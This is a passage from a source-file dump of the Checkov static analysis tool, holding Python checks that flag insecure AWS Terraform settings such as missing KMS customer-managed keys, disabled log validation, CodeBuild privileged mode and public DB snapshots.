    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudtrailEventDataStoreUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudTrail Event Data Store uses CMK\"\n        id = \"CKV_AWS_294\"\n        supported_resources = ['aws_cloudtrail_event_data_store']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudtrailEventDataStoreUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudtrailLogValidation.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudtrailLogValidation(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudTrail log file validation is enabled\"\n        id = \"CKV_AWS_36\"\n        supported_resources = ['aws_cloudtrail']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"enable_log_file_validation\"\n\n\ncheck = CloudtrailLogValidation()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudtrailMultiRegion.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudtrailMultiRegion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudTrail is enabled in all Regions\"\n        id = \"CKV_AWS_67\"\n        supported_resources = ['aws_cloudtrail']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"is_multi_region_trail\"\n\n\ncheck = CloudtrailMultiRegion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodeArtifactDomainEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CodeArtifactDomainEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CodeArtifact Domain is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_221\"\n        supported_resources = ['aws_codeartifact_domain']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n        Why not be consistent and use kms_key_id ..sigh.\n        \"\"\"\n        return \"encryption_key\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CodeArtifactDomainEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodeBuildPrivilegedMode.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CodeBuildPrivilegedMode(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7),\n        NIST.800-53.r5 AC-5, NIST.800-53.r5 AC-6, NIST.800-53.r5 AC-6(10), NIST.800-53.r5 AC-6(2)\n        CodeBuild project environments should not have privileged mode enabled\n        \"\"\"\n        name = \"Ensure CodeBuild project environments do not have privileged mode enabled\"\n        id = \"CKV_AWS_316\"\n        supported_resources = ['aws_codebuild_project']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"environment/[0]/privileged_mode\"\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = CodeBuildPrivilegedMode()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodeBuildProjectEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CodeBuildProjectEncryption(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure that CodeBuild Project encryption is not disabled\"\n        id = \"CKV_AWS_78\"\n        supported_resources = ['aws_codebuild_project']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'artifacts' not in conf:\n            return CheckResult.UNKNOWN\n        artifact = force_list(conf['artifacts'])[0]\n        if isinstance(artifact, dict):\n            if artifact['type'] == [\"NO_ARTIFACTS\"]:\n                self.evaluated_keys = ['artifacts/[0]/type']\n                return CheckResult.UNKNOWN\n            if 'encryption_disabled' in artifact and artifact['encryption_disabled'] == [True]:\n                self.evaluated_keys = ['artifacts/[0]/encryption_disabled']\n                return CheckResult.FAILED\n        self.evaluated_keys = ['artifacts']\n        return CheckResult.PASSED\n\n\ncheck = CodeBuildProjectEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodePipelineArtifactsEncrypted.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CodePipelineArtifactsEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure CodePipeline Artifact store is using a KMS CMK\"\n        id = \"CKV_AWS_219\"\n        supported_resources = (\"aws_codepipeline\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"artifact_store/[0]/encryption_key/[0]/id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = CodePipelineArtifactsEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodebuildHasLogs.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass CodebuildHasLogs(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 AC-2(12), NIST.800-53.r5 AC-2(4), NIST.800-53.r5 AC-4(26), NIST.800-53.r5 AC-6(9),\n        NIST.800-53.r5 AU-10, NIST.800-53.r5 AU-12, NIST.800-53.r5 AU-2, NIST.800-53.r5 AU-3, NIST.800-53.r5 AU-6(3),\n        NIST.800-53.r5 AU-6(4), NIST.800-53.r5 AU-9(7), NIST.800-53.r5 CA-7, NIST.800-53.r5 SC-7(9),\n        NIST.800-53.r5 SI-3(8), NIST.800-53.r5 SI-4, NIST.800-53.r5 SI-4(20), NIST.800-53.r5 SI-7(8)\n        CodeBuild project environments should have a logging configuration\n        \"\"\"\n        name = \"Ensure CodeBuild project environments have a logging configuration\"\n        id = \"CKV_AWS_314\"\n        supported_resources = ('aws_codebuild_project',)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        logs_config = conf.get('logs_config')\n        if logs_config and isinstance(logs_config, list):\n            logs = logs_config[0]\n            if isinstance(logs, dict):\n                if logs.get(\"cloudwatch_logs\") or logs.get(\"s3_logs\"):\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['enabled_cloudwatch_logs_exports']\n\n\ncheck = CodebuildHasLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodebuildS3LogsEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass CodebuildS3LogsEncrypted(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-3(6), NIST.800-53.r5 SC-13, NIST.800-53.r5 SC-28,\n        NIST.800-53.r5 SC-28(1), NIST.800-53.r5 SI-7(6)\n        \"\"\"\n        name = \"Ensure that CodeBuild S3 logs are encrypted\"\n        id = \"CKV_AWS_311\"\n        supported_resource = ['aws_codebuild_project']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def get_inspected_key(self):\n        return \"logs_config/[0]/s3_logs/[0]/encryption_disabled\"\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = CodebuildS3LogsEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodebuildUsesCMK.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass CodeBuildEncrypted(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that CodeBuild projects are encrypted using CMK\"\n        id = \"CKV_AWS_147\"\n        supported_resources = [\"aws_codebuild_project\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        artifacts = conf.get(\"artifacts\")\n        if not artifacts:\n            return CheckResult.UNKNOWN\n\n        artifacts = force_list(artifacts)[0]\n        if isinstance(artifacts, dict):\n            self.evaluated_keys.append(\"artifacts/[0]/type\")\n            if artifacts[\"type\"] == [\"NO_ARTIFACTS\"]:\n                # if a CodeBuild project does not define any artifacts,\n                # then they also don't need to be encrypted\n                return CheckResult.UNKNOWN\n\n        self.evaluated_keys.append(\"encryption_key\")\n        if \"encryption_key\" in conf:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = CodeBuildEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CodecommitApprovalsRulesRequireMin2.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CodecommitApprovalsRulesRequireMin2(BaseResourceCheck):\n\n    def __init__(self):\n        \"\"\"\n        See https://docs.aws.amazon.com/codecommit/latest/userguide/approval-rule-templates.html\n        \"\"\"\n        name = \"Ensure CodeCommit branch changes have at least 2 approvals\"\n        id = \"CKV_AWS_257\"\n        supported_resources = ['aws_codecommit_approval_rule_template']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"content\") and isinstance(conf.get(\"content\"), list):\n            content = conf.get(\"content\")[0]\n            if not isinstance(content, dict):\n                return CheckResult.UNKNOWN\n            if content.get(\"Statements\") and isinstance(content.get(\"Statements\"), list):\n                statement = content.get(\"Statements\")[0]\n                if isinstance(statement.get('NumberOfApprovalsNeeded'), int) and statement.get('NumberOfApprovalsNeeded') >= 2:\n                    return CheckResult.PASSED\n                self.evaluated_keys = [\"content/Statements/NumberOfApprovalsNeeded\"]\n        return CheckResult.FAILED\n\n\ncheck = CodecommitApprovalsRulesRequireMin2()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CognitoUnauthenticatedIdentities.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudsearchDomainEnforceHttps(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AWS Cognito identity pool does not allow unauthenticated guest access\"\n        id = \"CKV_AWS_366\"\n        supported_resources = [\"aws_cognito_identity_pool\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"allow_unauthenticated_identities\"\n\n    def get_expected_value(self) -> bool:\n        return False\n\n\ncheck = CloudsearchDomainEnforceHttps()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerModelUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ComprehendEntityRecognizerModelUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Comprehend Entity Recognizer's model is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_267\"\n        supported_resources = ['aws_comprehend_entity_recognizer']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'model_kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ComprehendEntityRecognizerModelUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerVolumeUsesCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ComprehendEntityRecognizerVolumeUsesCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = (\n            \"Ensure that Comprehend Entity Recognizer's volume is encrypted by KMS using a customer managed Key (CMK)\"\n        )\n        id = \"CKV_AWS_268\"\n        supported_resources = (\"aws_comprehend_entity_recognizer\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"volume_kms_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = ComprehendEntityRecognizerVolumeUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ConfigConfgurationAggregatorAllRegions.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass ConfigConfigurationAggregator(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure AWS Config is enabled in all regions\"\n        id = \"CKV_AWS_121\"\n        supported_resources = ['aws_config_configuration_aggregator']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for account_aggregation_source /  organization_aggregation_source\n            at aws_config_configuration_aggregator:\n            https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/config_configuration_aggregator#account-based-aggregation\n        :param conf: aws_config_configuration_aggregator configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"account_aggregation_source\" in conf:\n            aggregation_source = conf.get(\"account_aggregation_source\", {})[0]\n            if isinstance(aggregation_source, dict) and aggregation_source.get(\"all_regions\"):\n                return CheckResult.PASSED\n        if \"organization_aggregation_source\" in conf:\n            aggregation_source = conf.get(\"organization_aggregation_source\", {})[0]\n            if isinstance(aggregation_source, dict) and aggregation_source.get(\"all_regions\"):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"account_aggregation_source\", \"organization_aggregation_source\"]\n\n\ncheck = ConfigConfigurationAggregator()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Connect Instance Kinesis Video Stream Storage Config uses CMK\"\n        id = \"CKV_AWS_269\"\n        supported_resources = ['aws_connect_instance_storage_config']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'storage_config/[0]/kinesis_video_stream_config/[0]/encryption_config/[0]/key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ConnectInstanceS3StorageConfigUsesCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ConnectInstanceS3StorageConfigUsesCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Connect Instance S3 Storage Config uses CMK\"\n        id = \"CKV_AWS_270\"\n        supported_resources = (\"aws_connect_instance_storage_config\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"storage_config/[0]/s3_config/[0]/encryption_config/[0]/key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = ConnectInstanceS3StorageConfigUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DAXEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DAXEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DAX is encrypted at rest (default is unencrypted)\"\n        id = \"CKV_AWS_47\"\n        supported_resources = [\"aws_dax_cluster\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"server_side_encryption/[0]/enabled\"\n\n\ncheck = DAXEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DAXEndpointTLS.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DAXEndpointTLS(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DAX cluster endpoint is using TLS\"\n        id = \"CKV_AWS_239\"\n        supported_resources = [\"aws_dax_cluster\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"cluster_endpoint_encryption_type\"\n\n    def get_expected_value(self) -> str:\n        return \"TLS\"\n\n\ncheck = DAXEndpointTLS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import Any\n\n\nclass DBInstanceBackupRetentionPeriod(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that RDS instances has backup policy\"\n        id = \"CKV_AWS_133\"\n        supported_resources = (\"aws_rds_cluster\", \"aws_db_instance\")\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        key = \"backup_retention_period\"\n        if key in conf.keys():\n            period = conf[key][0]\n            if self._is_variable_dependant(period):\n                return CheckResult.UNKNOWN\n            period = force_int(period)\n            if period and 0 < period <= 35:\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n        # Default value is 1 which passes ^^^\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"backup_retention_period\"]\n\n\ncheck = DBInstanceBackupRetentionPeriod()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DBInstanceLogging.py",
    "content": "from typing import Any, Dict, List\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DBInstanceLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that respective logs of Amazon Relational Database Service (Amazon RDS) are enabled\"\n        id = \"CKV_AWS_129\"\n        supported_resources = [\"aws_db_instance\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"enabled_cloudwatch_logs_exports/[0]\"\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        logs_exports = conf.get('enabled_cloudwatch_logs_exports', [[]])\n        if not logs_exports:\n            return CheckResult.FAILED\n        return CheckResult.PASSED if logs_exports[0] else CheckResult.FAILED\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = DBInstanceLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DBInstanceMinorUpgrade(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DB instance gets all minor upgrades automatically\"\n        id = \"CKV_AWS_226\"\n        supported_resources = [\"aws_db_instance\", 'aws_rds_cluster_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"auto_minor_version_upgrade\"\n\n\ncheck = DBInstanceMinorUpgrade()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DBSnapshotCopyUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass DBSnapshotCopyUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DB Snapshot copy uses CMK\"\n        id = \"CKV_AWS_266\"\n        supported_resources = ['aws_db_snapshot_copy']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = DBSnapshotCopyUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DBSnapshotsArePrivate.py",
    "content": "\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass BDSnapshotsArePrivate(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure DB Snapshots are not Public\"\n        id = \"CKV_AWS_302\"\n        supported_resources = ['aws_db_snapshot']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"shared_accounts\"\n\n    def get_forbidden_values(self):\n        return [\"all\"]\n\n\ncheck = BDSnapshotsArePrivate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DLMEventsCrossRegionEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DLM cross region events are encrypted\"\n        id = \"CKV_AWS_253\"\n        supported_resources = ['aws_dlm_lifecycle_policy']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"policy_details\") and isinstance(conf.get(\"policy_details\"), list):\n            policy = conf.get(\"policy_details\")[0]\n            if policy.get(\"action\") and isinstance(policy.get(\"action\"), list):\n                actions = policy.get(\"action\")\n                for idx, action in enumerate(actions):\n                    if not isinstance(action, dict) or not action:\n                        return CheckResult.UNKNOWN\n                    if action.get(\"cross_region_copy\") and isinstance(action.get(\"cross_region_copy\"), list):\n                        cross = action.get(\"cross_region_copy\")[0]\n                        if cross.get(\"encryption_configuration\") and isinstance(cross.get(\"encryption_configuration\"), list):\n                            config = cross.get(\"encryption_configuration\")[0]\n                            if config.get(\"encryption\") == [True]:\n                                return CheckResult.PASSED\n                        self.evaluated_keys = [f\"policy_details/action/{idx}/cross_region_copy/encryption_configuration\"]\n                        return CheckResult.FAILED\n                    return CheckResult.UNKNOWN\n                return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = DLMEventsCrossRegionEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryptionWithCMK.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DLMEventsCrossRegionEncryptionWithCMK(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DLM cross region events are encrypted with Customer Managed Key\"\n        id = \"CKV_AWS_254\"\n        supported_resources = ['aws_dlm_lifecycle_policy']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"policy_details\") and isinstance(conf.get(\"policy_details\"), list):\n            policy = conf.get(\"policy_details\")[0]\n            if policy.get(\"action\") and isinstance(policy.get(\"action\"), list):\n                actions = policy.get(\"action\")\n                for idx, action in enumerate(actions):\n                    if not isinstance(action, dict) or not action:\n                        return CheckResult.UNKNOWN\n                    if action.get(\"cross_region_copy\") and isinstance(action.get(\"cross_region_copy\"), list):\n                        cross = action.get(\"cross_region_copy\")[0]\n                        if cross.get(\"encryption_configuration\") and isinstance(cross.get(\"encryption_configuration\"), list):\n                            config = cross.get(\"encryption_configuration\")[0]\n                            if config.get(\"encryption\") == [True] and config.get(\"cmk_arn\"):\n                                return CheckResult.PASSED\n                        self.evaluated_keys = [f\"policy_details/action/{idx}/cross_region_copy/encryption_configuration\"]\n                        return CheckResult.FAILED\n                    return CheckResult.UNKNOWN\n                return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = DLMEventsCrossRegionEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DLMScheduleCrossRegionEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DLM cross region schedules are encrypted\"\n        id = \"CKV_AWS_255\"\n        supported_resources = ['aws_dlm_lifecycle_policy']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"policy_details\") and isinstance(conf.get(\"policy_details\"), list):\n            policy = conf.get(\"policy_details\")[0]\n\n            if policy.get(\"schedule\") and isinstance(policy.get(\"schedule\"), list):\n                schedules = policy.get(\"schedule\")\n                for idx, schedule in enumerate(schedules):\n                    if schedule.get(\"cross_region_copy_rule\") and isinstance(schedule.get(\"cross_region_copy_rule\"), list):\n                        for c_idx, cross_schedule_rule in enumerate(schedule.get(\"cross_region_copy_rule\")):\n                            if isinstance(cross_schedule_rule, dict) and cross_schedule_rule.get(\"encrypted\") != [True]:\n                                self.evaluated_keys = [\n                                    f\"policy_details/schedule/{idx}/cross_region_copy_rule/{c_idx}/encrypted\"]\n                                return CheckResult.FAILED\n                        return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = DLMScheduleCrossRegionEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryptionWithCMK.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DLMScheduleCrossRegionEncryptionWithCMK(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DLM cross region schedules are encrypted using a Customer Managed Key\"\n        id = \"CKV_AWS_256\"\n        supported_resources = ['aws_dlm_lifecycle_policy']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"policy_details\") and isinstance(conf.get(\"policy_details\"), list):\n            policy = conf.get(\"policy_details\")[0]\n\n            if policy.get(\"schedule\") and isinstance(policy.get(\"schedule\"), list):\n                schedules = policy.get(\"schedule\")\n                for idx, schedule in enumerate(schedules):\n                    if schedule.get(\"cross_region_copy_rule\") and isinstance(schedule.get(\"cross_region_copy_rule\"), list):\n                        for c_idx, cross_schedule_rule in enumerate(schedule.get(\"cross_region_copy_rule\")):\n                            if isinstance(cross_schedule_rule, dict) and (cross_schedule_rule.get(\"encrypted\") != [True] or not cross_schedule_rule.get(\"cmk_arn\")):\n                                self.evaluated_keys = [\n                                    